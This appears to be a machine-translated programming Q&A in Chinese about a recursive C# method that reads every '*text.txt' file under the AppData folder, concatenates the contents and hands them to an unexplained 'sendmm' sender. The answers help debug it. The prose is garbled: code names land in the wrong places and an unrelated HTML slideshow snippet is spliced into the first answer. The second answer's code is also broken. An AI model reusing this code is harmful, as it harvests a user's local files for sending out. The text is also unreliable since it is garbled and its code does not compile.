我以前遇到过问题,现在我解决了,我无法解决这个问题。
调试图片
由于某种原因,if语句在foreach循环之前被调用,因此,我想在循环之后发送的变量是空的。我该如何解决?我认为代码总是从上到下阅读?
最后,列表包含它应该包含的所有内容但if语句不是第二次调用...
public static void GetAllFiles(string sDir)
{
List < string > datas = new List<string>();
foreach (string dir in Directory.GetDirectories(sDir))
{
try
{
foreach (string file in Directory.GetFiles(dir, "*text.txt"))
{
string var = File.ReadAllText(file);
datas.Add(var);
}
GetAllFiles(dir);
}
catch
{
}
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}
正在传递appdata目录
答案 0 :(得分:1)
您的方法datas
在foreach
循环内调用自己,并且您正在重置方法开头的列表,这就是为什么您看到空GetAllFiles
的原因Directory.GetDirectories(sDir)
块之后的列表。
您在调试图片中的位置是在第二个(甚至更深)Call Stack
调用内,GetAllFiles
调用不再返回任何目录。你已经在一个没有更多目录的子目录中了。
要更好地了解发生的情况,请打开IDE中的datas
窗口,然后单击上/下堆栈。您应该在堆栈中看到至少两个<div class="slides">
<div class="slide active" id="one"></div>
<div class="slide" id="two"></div>
<div class="slide" id="third"></div>
<div class="slide" id="fourth"></div>
</div>
<button onclick="slide-down()">
Next slide
</button>
<button onclick="slide-up()">
Previous slide
</button>
个条目。单击它们并检查您的QFileDialog
列表和其他本地变量。
答案 1 :(得分:0)
最简单的方法是:
public static void GetAllFiles(string sDir)
{
Console.WriteLine(String.Join("\n\n",Directory.GetFiles(sDir, "*.*", SearchOption.AllDirectories)));
}
不需要递归 - 但由于你在问题中使用了递归,你可能会简化,如果你需要递归用于其他目的,这就是你如何使用它。
List < string > datas = new List<string>();
public static void GetAllFiles(string sDir)
{ datas = new List<string>();
datas.AddRange(Directory.GetFiles(sDir);
foreach (string dir in Directory.GetDirectories(sDir))
{
recursiveSearch();
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}
private string recursiveSearch(string dir)
{
datas.AddRange(Directory.GetFiles(dir));
foreach(string directory in dir.GetDirectories())
{
recursiveSearch(directory);
}
}